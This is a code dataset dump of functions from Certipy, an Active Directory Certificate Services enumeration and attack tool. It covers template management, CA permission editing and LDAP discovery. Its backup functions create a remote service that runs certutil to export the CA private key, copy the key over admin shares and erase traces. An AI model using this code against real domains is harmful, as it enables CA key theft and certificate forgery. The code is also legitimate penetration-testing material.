code
stringlengths
66
870k
docstring
stringlengths
19
26.7k
func_name
stringlengths
1
138
language
stringclasses
1 value
repo
stringlengths
7
68
path
stringlengths
5
324
url
stringlengths
46
389
license
stringclasses
7 values
def get_templates(self) -> Optional[List[str]]: """ Get list of templates enabled on the CA. Returns: List of template names and their OIDs Returns False if the operation fails """ if self.ca is None: logging.error("A CA (-ca) is required") return None request = ICertAdminD2GetCAProperty() request["pwszAuthority"] = checkNullString(self.ca) request["PropId"] = CR_PROP_TEMPLATES request["PropIndex"] = 0 request["PropType"] = 4 # String data type try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( "Access denied: Insufficient permissions to get templates" ) return None logging.error(f"Failed to get certificate templates: {e}") handle_error() return None # Parse templates (format is name\noid\nname\noid...) certificate_templates = ( b"".join(resp["pctbPropertyValue"]["pb"]).decode("utf-16le").split("\n") ) return certificate_templates
Get list of templates enabled on the CA. Returns: List of template names and their OIDs Returns False if the operation fails
get_templates
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def list_templates(self) -> None: """ List templates enabled on the CA. Prints the list of templates to stdout. """ certificate_templates = self.get_templates() if certificate_templates is None: return if len(certificate_templates) == 1: logging.info(f"There are no enabled certificate templates on {self.ca!r}") return logging.info(f"Enabled certificate templates on {self.ca!r}:") for i in range(0, len(certificate_templates) - 1, 2): print(f" {certificate_templates[i]}")
List templates enabled on the CA. Prints the list of templates to stdout.
list_templates
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def enable(self, disable: bool = False) -> bool: """ Enable or disable a template on the CA. Args: disable: If True, disable the template; otherwise enable it Returns: True if successful, False otherwise """ if self.ca is None: logging.error("A CA (-ca) is required") return False if self.template is None: logging.error("A template (-template) is required") return False # Get current templates certificate_templates = self.get_templates() if certificate_templates is None: return False # Get template to enable/disable template_obj = Template(self.target, connection=self.connection) template = template_obj.get_configuration(self.template) if template is None: return False action = "disable" if disable else "enable" # Update template list based on action if disable: if template.get("cn") not in certificate_templates: logging.error( f"Certificate template {template.get('cn')!r} is not enabled on {self.ca!r}" ) return False # Remove template and its OID from the list template_index = certificate_templates.index(template.get("cn")) certificate_templates = ( certificate_templates[:template_index] + certificate_templates[template_index + 2 :] ) else: # Add template and its OID to the start of the list certificate_templates = [ template.get("cn"), template.get("msPKI-Cert-Template-OID"), ] + certificate_templates # Convert to UTF-16LE bytes for RPC call certificate_templates_bytes = [ bytes([c]) for c in "\n".join(certificate_templates).encode("utf-16le") ] # Update CA property request = ICertAdminD2SetCAProperty() request["pwszAuthority"] = checkNullString(self.ca) request["PropId"] = CR_PROP_TEMPLATES request["PropIndex"] = 0 request["PropType"] = 4 # String data type request["pctbPropertyValue"]["cb"] = len(certificate_templates_bytes) request["pctbPropertyValue"]["pb"] = certificate_templates_bytes try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( f"Access denied: Insufficient permissions to {action} template" ) return False logging.error( f"Failed to {action} certificate template {template.get('cn')!r}: {e}" ) handle_error() return False error_code = resp["ErrorCode"] if error_code == 0: logging.info( f"Successfully {action}d {template.get('cn')!r} on {self.ca!r}" ) return True else: error_msg = translate_error_code(error_code) logging.error(f"Failed to {action} certificate template: {error_msg}") return False
Enable or disable a template on the CA. Args: disable: If True, disable the template; otherwise enable it Returns: True if successful, False otherwise
enable
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def _modify_ca_security( self, user: str, right: int, right_type: str, remove: bool = False ) -> Union[bool, None]: """ Add or remove rights for a user on the CA. Args: user: Username right: Right to add/remove (from CERTIFICATION_AUTHORITY_RIGHTS) right_type: Description of the right (for logging) remove: If True, remove the right; otherwise add it Returns: True if successful, False if failed, None if user not found """ connection = self.connection # Get user object user_obj = connection.get_user(user) if user_obj is None: return None # Get user SID sid = ldaptypes.LDAP_SID(data=user_obj.get_raw("objectSid")[0]) # Get current CA security descriptor request = ICertAdminD2GetCASecurity() request["pwszAuthority"] = checkNullString(self.ca) try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( "Access denied: Insufficient permissions to get CA security" ) return False logging.error(f"Failed to get CA security descriptor: {e}") handle_error() return False # Parse security descriptor sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd.fromString(b"".join(resp["pctbSD"]["pb"])) # Find ACE for the user or create a new one for i in range(len(sd["Dacl"]["Data"])): ace = sd["Dacl"]["Data"][i] if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: continue if ace["Ace"]["Sid"].getData() != sid.getData(): continue # Found existing ACE for this user action = "remove" if remove else "add" if remove: # Check if user has the right if ace["Ace"]["Mask"]["Mask"] & right == 0: logging.info( f"User {user_obj.get('sAMAccountName')!r} does not have {right_type} " f"rights on {self.ca!r}" ) return True # Remove the right ace["Ace"]["Mask"]["Mask"] ^= right # Remove the ACE if no rights remaining if ace["Ace"]["Mask"]["Mask"] == 0: sd["Dacl"]["Data"].pop(i) else: # Check if user already has the right if ace["Ace"]["Mask"]["Mask"] & right != 0: logging.info( f"User {user_obj.get('sAMAccountName')!r} already has {right_type} " f"rights on {self.ca!r}" ) return True # Add the right ace["Ace"]["Mask"]["Mask"] |= right break else: # No existing ACE found if remove: # Nothing to remove logging.info( f"User {user_obj.get('sAMAccountName')!r} does not have {right_type} " f"rights on {self.ca!r}" ) return True # Create new ACE ace = ldaptypes.ACE() ace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE ace["AceFlags"] = 0 ace["Ace"] = ldaptypes.ACCESS_ALLOWED_ACE() ace["Ace"]["Mask"] = ldaptypes.ACCESS_MASK() ace["Ace"]["Mask"]["Mask"] = right ace["Ace"]["Sid"] = sid sd["Dacl"]["Data"].append(ace) # Convert SD back to bytes sd_bytes = [bytes([c]) for c in sd.getData()] # Set updated security descriptor request = ICertAdminD2SetCASecurity() request["pwszAuthority"] = checkNullString(self.ca) request["pctbSD"]["cb"] = len(sd_bytes) request["pctbSD"]["pb"] = sd_bytes try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: action = "remove" if remove else "add" if "E_ACCESSDENIED" in str(e): logging.error( f"Access denied: Insufficient permissions to {action} {right_type}" ) return False logging.error(f"Failed to {action} {right_type}: {e}") handle_error() return False error_code = resp["ErrorCode"] if error_code == 0: action = "removed" if remove else "added" logging.info( f"Successfully {action} {right_type} {user_obj.get('sAMAccountName')!r} " f"on {self.ca!r}" ) return True else: error_msg = translate_error_code(error_code) action = "remove" if remove else "add" logging.error(f"Failed to {action} {right_type}: {error_msg}") return False
Add or remove rights for a user on the CA. Args: user: Username right: Right to add/remove (from CERTIFICATION_AUTHORITY_RIGHTS) right_type: Description of the right (for logging) remove: If True, remove the right; otherwise add it Returns: True if successful, False if failed, None if user not found
_modify_ca_security
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def add_officer(self, officer: str) -> Union[bool, None]: """ Add certificate officer rights for a user. Officers can approve/deny certificate requests. Args: officer: Username to add as an officer Returns: True if successful, False if failed, None if user not found """ return self.add( officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, "officer" )
Add certificate officer rights for a user. Officers can approve/deny certificate requests. Args: officer: Username to add as an officer Returns: True if successful, False if failed, None if user not found
add_officer
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def remove_officer(self, officer: str) -> Union[bool, None]: """ Remove certificate officer rights from a user. Args: officer: Username to remove as an officer Returns: True if successful, False if failed, None if user not found """ return self.remove( officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, "officer" )
Remove certificate officer rights from a user. Args: officer: Username to remove as an officer Returns: True if successful, False if failed, None if user not found
remove_officer
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def remove_manager(self, manager: str) -> Union[bool, None]: """ Remove certificate manager rights from a user. Args: manager: Username to remove as a manager Returns: True if successful, False if failed, None if user not found """ return self.remove( manager, CertificateAuthorityRights.MANAGE_CA.value, "manager" )
Remove certificate manager rights from a user. Args: manager: Username to remove as a manager Returns: True if successful, False if failed, None if user not found
remove_manager
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def get_enrollment_services(self) -> List[LDAPEntry]: """ Get all enrollment services in the domain. Returns: List of enrollment service objects """ enrollment_services = self.connection.search( "(&(objectClass=pKIEnrollmentService))", search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", ) return enrollment_services
Get all enrollment services in the domain. Returns: List of enrollment service objects
get_enrollment_services
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def get_enrollment_service(self, ca: str) -> Optional[LDAPEntry]: """ Get a specific enrollment service. Args: ca: CA name Returns: Enrollment service object or None if not found """ enrollment_services = self.connection.search( f"(&(cn={ca})(objectClass=pKIEnrollmentService))", search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", ) if len(enrollment_services) == 0: logging.warning( f"Could not find any enrollment service identified by {ca!r}" ) return None return enrollment_services[0]
Get a specific enrollment service. Args: ca: CA name Returns: Enrollment service object or None if not found
get_enrollment_service
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def get_backup(self) -> Optional[bytes]: """ Retrieve CA backup file from the target. Returns: PFX data as bytes or None if retrieval fails """ # Connect to SMB share smbclient = SMBConnection( self.target.remote_name, self.target.target_ip or "", timeout=self.target.timeout, ) # Authenticate with appropriate method if self.target.do_kerberos: kdc_rep, cipher, session_key, username, domain = get_tgs( self.target, self.target.remote_name, "cifs" ) tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key} _ = smbclient.kerberosLogin( username, self.target.password, domain, self.target.lmhash, self.target.nthash, kdcHost=self.target.dc_ip, TGS=tgs, ) else: _ = smbclient.login( self.target.username, self.target.password, self.target.domain, self.target.lmhash, self.target.nthash, ) # Try to connect to C$ or ADMIN$ share tid = None share = None file_path = None try: share = "C$" tid = smbclient.connectTree(share) file_path = "\\Windows\\Tasks\\certipy.pfx" except Exception as e: if "STATUS_BAD_NETWORK_NAME" in str(e): tid = None else: raise # Fall back to ADMIN$ if C$ fails if tid is None: try: share = "ADMIN$" tid = smbclient.connectTree(share) file_path = "\\Tasks\\certipy.pfx" except Exception as e: if "STATUS_BAD_NETWORK_NAME" in str(e): raise Exception( f"Could not connect to 'C$' or 'ADMIN$' on {self.target.target_ip!r}" ) else: raise pfx = None # Callback to store PFX data def _read_pfx(data: bytes): nonlocal pfx logging.info("Got certificate and private key") pfx = data # Download PFX file try: _ = smbclient.getFile(share, file_path, _read_pfx) except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): logging.error( "Could not find the certificate and private key. This most likely means that the backup failed" ) return None logging.error(f"Failed to retrieve certificate and private key: {e}") handle_error() return None # Clean up by deleting the temporary file try: _ = smbclient.deleteFile(share, file_path) except Exception as e: logging.info( f"Failed to delete {file_path} - it may have already been deleted: {e}" ) return pfx
Retrieve CA backup file from the target. Returns: PFX data as bytes or None if retrieval fails
get_backup
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def backup(self) -> bool: """ Create a backup of the CA key and certificate. Returns: True if successful, False otherwise """ # Connect to service control manager dce = get_dce_rpc( scmr.MSRPC_UUID_SCMR, # type: ignore "\\pipe\\svcctl", self.target, timeout=self.timeout, dynamic=self.dynamic, auth_level_np=rpcrt.RPC_C_AUTHN_LEVEL_NONE, ) if dce is None: logging.error( "Failed to connect to Service Control Manager Remote Protocol" ) return False # Open service manager res = scmr.hROpenSCManagerW(dce) handle = res["lpScHandle"] # Prepare backup command config_param = f" -config {self.config}" if self.config else "" backup_cmd = ( "cmd.exe /c certutil" + config_param + " -backupkey -f -p certipy C:\\Windows\\Tasks\\Certipy && " + "move /y C:\\Windows\\Tasks\\Certipy\\* C:\\Windows\\Tasks\\certipy.pfx" ) logging.info("Creating new service for backup operation") try: # Create service for backup operation resp = scmr.hRCreateServiceW( dce, handle, "Certipy", "Certipy", lpBinaryPathName=backup_cmd, # type: ignore dwStartType=scmr.SERVICE_DEMAND_START, ) service_handle = resp["lpServiceHandle"] except Exception as e: # Handle case where service already exists if "ERROR_SERVICE_EXISTS" in str(e): resp = scmr.hROpenServiceW(dce, handle, "Certipy") service_handle = resp["lpServiceHandle"] # Update existing service with our command resp = scmr.hRChangeServiceConfigW( dce, service_handle, lpBinaryPathName=backup_cmd, # type: ignore ) else: logging.error(f"Failed to create service: {e}") handle_error() return False logging.info("Creating backup") try: # Start the service to execute our command scmr.hRStartServiceW(dce, service_handle) except Exception as e: # Ignore service-specific errors (usually means it's already running) logging.debug(f"Service start returned: {e}") logging.info("Retrieving backup") try: # Get the backup file pfx = self.get_backup() if pfx: # Save raw PFX with password "certipy" logging.info("Backing up original PFX/P12 to 'pfx.p12'") path = try_to_save_file( pfx, "pfx.p12", ) logging.info(f"Backed up original PFX/P12 to {path!r}") # Parse and convert to standard PFX format key, cert = load_pfx(pfx, b"certipy") if cert is None: logging.error("Failed to load certificate from PFX") return False if key is None: logging.error("Failed to load private key from PFX") return False common_name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[ 0 ] # Create new PFX with default password pfx = create_pfx(key, cert) pfx_out = f"{common_name.value}.pfx" logging.info(f"Saving certificate and private key to {pfx_out!r}") path = try_to_save_file( pfx, pfx_out, ) logging.info(f"Wrote certificate and private key to {path!r}") except Exception as e: logging.error(f"Backup failed: {e}") handle_error() return False logging.info("Cleaning up") # Clean up: delete temporary files on the server cleanup_cmd = "cmd.exe /c del /f /q C:\\Windows\\Tasks\\Certipy\\* && rmdir C:\\Windows\\Tasks\\Certipy" # Update and run the service again for cleanup resp = scmr.hRChangeServiceConfigW( dce, service_handle, lpBinaryPathName=cleanup_cmd, # type: ignore ) try: scmr.hRStartServiceW(dce, service_handle) except Exception: pass # Remove the temporary service scmr.hRDeleteService(dce, service_handle) scmr.hRCloseServiceHandle(dce, service_handle) return True
Create a backup of the CA key and certificate. Returns: True if successful, False otherwise
backup
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def __init__( self, active_policy: str, edit_flags: int, disable_extension_list: List[str], request_disposition: int, interface_flags: int, security: CASecurity, ): """ Initialize a CA configuration object. Args: active_policy: Name of the active policy module (typically CertificateAuthority_MicrosoftDefault.Policy) edit_flags: Policy edit flags that control certificate issuance behavior disable_extension_list: List of disabled certificate extensions request_disposition: Default disposition for new certificate requests interface_flags: Interface control flags security: CASecurity object containing the CA's security descriptor """ self.active_policy = active_policy self.edit_flags = edit_flags self.disable_extension_list = disable_extension_list self.request_disposition = request_disposition self.interface_flags = interface_flags self.security = security
Initialize a CA configuration object. Args: active_policy: Name of the active policy module (typically CertificateAuthority_MicrosoftDefault.Policy) edit_flags: Policy edit flags that control certificate issuance behavior disable_extension_list: List of disabled certificate extensions request_disposition: Default disposition for new certificate requests interface_flags: Interface control flags security: CASecurity object containing the CA's security descriptor
__init__
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def entry(options: argparse.Namespace) -> None: """ Entry point for the 'ca' command. Args: options: Command-line arguments """ target = Target.from_options(options) options.__delattr__("target") ca = CA(target, **vars(options)) # Validate CA name if required if not options.backup: if not options.ca: logging.error("A CA (-ca) is required") return # Dispatch to appropriate subcommand handler if options.backup is True: _ = ca.backup() elif options.add_officer is not None: _ = ca.add_officer(options.add_officer) elif options.remove_officer is not None: _ = ca.remove_officer(options.remove_officer) elif options.add_manager is not None: _ = ca.add_manager(options.add_manager) elif options.remove_manager is not None: _ = ca.remove_manager(options.remove_manager) elif options.list_templates: _ = ca.list_templates() elif options.issue_request is not None: ca.request_id = int(options.issue_request) _ = ca.issue() elif options.deny_request is not None: ca.request_id = int(options.deny_request) _ = ca.deny() elif options.enable_template is not None: ca.template = options.enable_template _ = ca.enable() elif options.disable_template is not None: ca.template = options.disable_template _ = ca.disable() else: logging.error("No action specified")
Entry point for the 'ca' command. Args: options: Command-line arguments
entry
python
ly4k/Certipy
certipy/commands/ca.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/ca.py
MIT
def load_certificate_file(file_path: str) -> bytes: """ Load certificate data from a file. Args: file_path: Path to certificate file Returns: Certificate data as bytes """ logging.debug(f"Loading certificate from {file_path!r}") try: with open(file_path, "rb") as f: cert_data = f.read() return cert_data except FileNotFoundError: logging.error(f"Certificate file not found: {file_path!r}") raise except IOError as e: logging.error(f"Error reading certificate file: {e}") raise except Exception as e: logging.error(f"Unexpected error reading certificate file: {e}") raise
Load certificate data from a file. Args: file_path: Path to certificate file Returns: Certificate data as bytes
load_certificate_file
python
ly4k/Certipy
certipy/commands/cert.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/cert.py
MIT
def load_key_file(file_path: str) -> bytes: """ Load private key data from a file. Args: file_path: Path to private key file Returns: Private key data as bytes """ logging.debug(f"Loading private key from {file_path!r}") try: with open(file_path, "rb") as f: key_data = f.read() return key_data except FileNotFoundError: logging.error(f"Private key file not found: {file_path!r}") raise except IOError as e: logging.error(f"Error reading private key file: {e}") raise except Exception as e: logging.error(f"Unexpected error reading private key file: {e}") raise
Load private key data from a file. Args: file_path: Path to private key file Returns: Private key data as bytes
load_key_file
python
ly4k/Certipy
certipy/commands/cert.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/cert.py
MIT
def parse_certificate(cert_data: bytes) -> x509.Certificate: """ Parse certificate data from PEM or DER format. Args: cert_data: Raw certificate data Returns: Parsed certificate object """ try: # Try PEM format first return pem_to_cert(cert_data) except Exception: # Fall back to DER format try: return der_to_cert(cert_data) except Exception as e: logging.error(f"Failed to parse certificate: {e}") raise ValueError("Certificate is not in a valid PEM or DER format")
Parse certificate data from PEM or DER format. Args: cert_data: Raw certificate data Returns: Parsed certificate object
parse_certificate
python
ly4k/Certipy
certipy/commands/cert.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/cert.py
MIT
def parse_key(key_data: bytes) -> PrivateKeyTypes: """ Parse private key data from PEM or DER format. Args: key_data: Raw private key data Returns: Parsed private key object """ try: # Try PEM format first return pem_to_key(key_data) except Exception: # Fall back to DER format try: return der_to_key(key_data) except Exception as e: logging.error(f"Failed to parse private key: {e}") raise ValueError("Private key is not in a valid PEM or DER format")
Parse private key data from PEM or DER format. Args: key_data: Raw private key data Returns: Parsed private key object
parse_key
python
ly4k/Certipy
certipy/commands/cert.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/cert.py
MIT
def write_output(data: Union[bytes, str], output_path: Optional[str] = None) -> None: """ Write data to a file or stdout. Args: data: Data to write output_path: Path to output file or None for stdout """ if output_path: # Determine if we need binary mode mode = "wb" if isinstance(data, bytes) else "w" try: with open(output_path, mode) as f: _ = f.write(data) logging.info(f"Data written to {output_path!r}") except IOError as e: logging.error(f"Error writing output file: {e}") raise except Exception as e: logging.error(f"Unexpected error writing output file: {e}") raise else: # Write to stdout if isinstance(data, bytes): _ = sys.stdout.buffer.write(data) else: print(data)
Write data to a file or stdout. Args: data: Data to write output_path: Path to output file or None for stdout
write_output
python
ly4k/Certipy
certipy/commands/cert.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/cert.py
MIT
def entry(options: argparse.Namespace) -> None: """ Entry point for the 'cert' command. Processes certificates and private keys according to specified options. Args: options: Command-line arguments """ cert, key = None, None # Validate inputs if not any([options.pfx, options.cert, options.key]): logging.error("-pfx, -cert, or -key is required") return # Process PFX input if provided if options.pfx: try: password = options.password.encode() if options.password else None log_msg = ( f"Loading PFX {options.pfx!r} with password" if password else f"Loading PFX {options.pfx!r} without password" ) logging.debug(log_msg) with open(options.pfx, "rb") as f: pfx = f.read() key, cert = load_pfx(pfx, password) except Exception as e: logging.error(f"Failed to load PFX file: {e}") handle_error() return # Process certificate input if provided if options.cert: try: cert_data = load_certificate_file(options.cert) cert = parse_certificate(cert_data) except Exception as e: logging.error(f"Failed to process certificate: {e}") handle_error() return # Process private key input if provided if options.key: try: key_data = load_key_file(options.key) key = parse_key(key_data) except Exception as e: logging.error(f"Failed to process private key: {e}") handle_error() return # Export in PFX format if options.export: if not (key and cert): logging.error( "Both certificate and private key are required for PFX export" ) return try: pfx = create_pfx(key, cert, options.export_password) write_output(pfx, options.out) except Exception as e: logging.error(f"Failed to create PFX: {e}") handle_error() return # Export in PEM format else: output_parts = [] output_types = [] # Add certificate to output if available and not suppressed if cert and not options.nocert: output_parts.append(cert_to_pem(cert).decode()) output_types.append("certificate") # Add private key to output if available and not suppressed if key and not options.nokey: output_parts.append(key_to_pem(key).decode()) output_types.append("private key") # Combine all parts output = "".join(output_parts) # Check if output is empty if not output: logging.error("Output is empty") return # Format log message for what's being written log_str = " and ".join(output_types) try: write_output(output, options.out) if options.out: logging.info(f"Writing {log_str} to {options.out!r}") except Exception as e: logging.error(f"Failed to write output: {e}") handle_error()
Entry point for the 'cert' command. Processes certificates and private keys according to specified options. Args: options: Command-line arguments
entry
python
ly4k/Certipy
certipy/commands/cert.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/cert.py
MIT
def connection(self) -> LDAPConnection: """ Get or create an LDAP connection. Returns: Active LDAP connection to the target """ if self._connection is not None: return self._connection self._connection = LDAPConnection(self.target) self._connection.connect() return self._connection
Get or create an LDAP connection. Returns: Active LDAP connection to the target
connection
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def user_sids(self) -> Set[str]: """ Get current user's SIDs. Returns: Set of SIDs associated with the current user """ if self._user_sids is None: self._user_sids: Optional[Set[str]] = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) return self._user_sids
Get current user's SIDs. Returns: Set of SIDs associated with the current user
user_sids
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def open_remote_registry( self, target_ip: str, dns_host_name: str ) -> Optional[rpcrt.DCERPC_v5]: """ Open a connection to the remote registry service. Args: target_ip: IP address of the target dns_host_name: DNS host name of the target Returns: DCE/RPC connection to the remote registry or None if failed """ dce = get_dce_rpc_from_string_binding( "ncacn_np:445[\\pipe\\winreg]", self.target, timeout=self.target.timeout, target_ip=target_ip, remote_name=dns_host_name, ) # Try to connect up to 3 times (registry service might need to start) for _ in range(3): try: dce.connect() _ = dce.bind(rrp.MSRPC_UUID_RRP) logging.debug( f"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})" ) return dce except Exception as e: if "STATUS_PIPE_NOT_AVAILABLE" in str(e): logging.warning( "Failed to connect to remote registry. Service should be starting now. Trying again..." ) time.sleep(2) else: raise logging.warning("Failed to connect to remote registry after 3 attempts") return None
Open a connection to the remote registry service. Args: target_ip: IP address of the target dns_host_name: DNS host name of the target Returns: DCE/RPC connection to the remote registry or None if failed
open_remote_registry
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_certificate_templates(self) -> List[LDAPEntry]: """ Query LDAP for certificate templates. Returns: List of certificate template entries """ return self.connection.search( "(objectclass=pKICertificateTemplate)", search_base=f"CN=Certificate Templates,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", attributes=[ "cn", "name", "displayName", "pKIExpirationPeriod", "pKIOverlapPeriod", "msPKI-Enrollment-Flag", "msPKI-Private-Key-Flag", "msPKI-Certificate-Name-Flag", "msPKI-Certificate-Policy", "msPKI-Minimal-Key-Size", "msPKI-RA-Signature", "msPKI-Template-Schema-Version", "msPKI-RA-Application-Policies", "pKIExtendedKeyUsage", "nTSecurityDescriptor", "objectGUID", "whenCreated", "whenChanged", ], query_sd=True, )
Query LDAP for certificate templates. Returns: List of certificate template entries
get_certificate_templates
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_certificate_authorities(self) -> List[LDAPEntry]: """ Query LDAP for certificate authorities. Returns: List of certificate authority entries """ return self.connection.search( "(&(objectClass=pKIEnrollmentService))", search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", attributes=[ "cn", "name", "dNSHostName", "cACertificateDN", "cACertificate", "certificateTemplates", "objectGUID", ], )
Query LDAP for certificate authorities. Returns: List of certificate authority entries
get_certificate_authorities
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_issuance_policies(self) -> List[LDAPEntry]: """ Query LDAP for issuance policies (OIDs). Returns: List of issuance policy entries """ return self.connection.search( "(objectclass=msPKI-Enterprise-Oid)", search_base=f"CN=OID,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", attributes=[ "cn", "name", "displayName", "msDS-OIDToGroupLink", "msPKI-Cert-Template-OID", "nTSecurityDescriptor", "objectGUID", ], query_sd=True, )
Query LDAP for issuance policies (OIDs). Returns: List of issuance policy entries
get_issuance_policies
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def find(self) -> None: """ Discover and analyze AD CS components and detect vulnerabilities. This is the main entry point that: 1. Discovers templates, CAs, and issuance policies 2. Processes their properties and security settings 3. Detects vulnerabilities 4. Outputs results in requested formats """ # Early establish connection _connection = self.connection # Get user SIDs for vulnerability assessment if needed if self.vuln: sids = self.user_sids if is_verbose(): logging.debug("List of current user's SIDs:") for sid in sids: sid_info = self.connection.lookup_sid(sid) print(f" {sid_info.get('name')} ({sid_info.get('objectSid')})") # Step 1: Query and discover AD CS components logging.info("Finding certificate templates") templates = self.get_certificate_templates() logging.info( f"Found {len(templates)} certificate template{'s' if len(templates) != 1 else ''}" ) logging.info("Finding certificate authorities") cas = self.get_certificate_authorities() logging.info( f"Found {len(cas)} certificate authorit{'ies' if len(cas) != 1 else 'y'}" ) # Step 2: Find relationships between CAs and templates enabled_templates_count = self._link_cas_and_templates(cas, templates) logging.info( f"Found {enabled_templates_count} enabled certificate template{'s' if enabled_templates_count != 1 else ''}" ) # Step 3: Find issuance policies and their relationships logging.info("Finding issuance policies") oids = self.get_issuance_policies() logging.info( f"Found {len(oids)} issuance polic{'ies' if len(oids) != 1 else 'y'}" ) # Step 4: Link templates to issuance policies enabled_oids_count = self._link_templates_and_policies(templates, oids) logging.info( f"Found {enabled_oids_count} OID{'s' if enabled_oids_count != 1 else ''} " f"linked to {'templates' if enabled_oids_count != 1 else 'a template'}" ) # Step 5: Process CA certificates and properties self._process_ca_properties(cas) # Step 6: Process template properties self._process_template_properties(templates) # Step 7: Generate and save output prefix = ( datetime.now().strftime("%Y%m%d%H%M%S") if not self.output else self.output ) self._save_output(templates, cas, oids, prefix)
Discover and analyze AD CS components and detect vulnerabilities. This is the main entry point that: 1. Discovers templates, CAs, and issuance policies 2. Processes their properties and security settings 3. Detects vulnerabilities 4. Outputs results in requested formats
find
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _link_cas_and_templates( self, cas: List[LDAPEntry], templates: List[LDAPEntry] ) -> int: """ Link certificate authorities to templates and vice versa. Args: cas: List of certificate authorities templates: List of certificate templates Returns: Number of enabled templates """ enabled_templates_count = 0 for ca in cas: # Clean GUID format object_id = ca.get("objectGUID").lstrip("{").rstrip("}") ca.set("object_id", object_id) # Get templates enabled on this CA ca_templates = ca.get("certificateTemplates") or [] # Link CA to templates for template in templates: if template.get("name") in ca_templates: enabled_templates_count += 1 # Add CA to template's CA list if "cas" in template["attributes"]: template.get("cas").append(ca.get("name")) template.get("cas_ids").append(object_id) else: template.set("cas", [ca.get("name")]) template.set("cas_ids", [object_id]) return enabled_templates_count
Link certificate authorities to templates and vice versa. Args: cas: List of certificate authorities templates: List of certificate templates Returns: Number of enabled templates
_link_cas_and_templates
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _link_templates_and_policies( self, templates: List[LDAPEntry], oids: List[LDAPEntry] ) -> int: """ Link templates to their issuance policies and vice versa. Args: templates: List of certificate templates oids: List of issuance policies Returns: Number of enabled OIDs """ enabled_oids_count = 0 for template in templates: # Clean GUID format object_id = template.get("objectGUID").lstrip("{").rstrip("}") template.set("object_id", object_id) # Process issuance policies issuance_policies = template.get("msPKI-Certificate-Policy") if not isinstance(issuance_policies, list): issuance_policies = ( [] if issuance_policies is None else [issuance_policies] ) template.set("issuance_policies", issuance_policies) # Link OIDs to templates and vice versa for oid in oids: oid_value = oid.get("msPKI-Cert-Template-OID") if oid_value in issuance_policies: enabled_oids_count += 1 # Get linked group (if any) linked_group = oid.get("msDS-OIDToGroupLink") # Add template to OID's template list if "templates" in oid["attributes"]: oid.get("templates").append(template.get("name")) oid.get("templates_ids").append(object_id) else: oid.set("templates", [template.get("name")]) oid.set("templates_ids", [object_id]) # Add linked group info if linked_group: oid.set("linked_group", linked_group) # Add linked group to template if "issuance_policies_linked_groups" in template["attributes"]: template.get("issuance_policies_linked_groups").append( linked_group ) else: template.set( 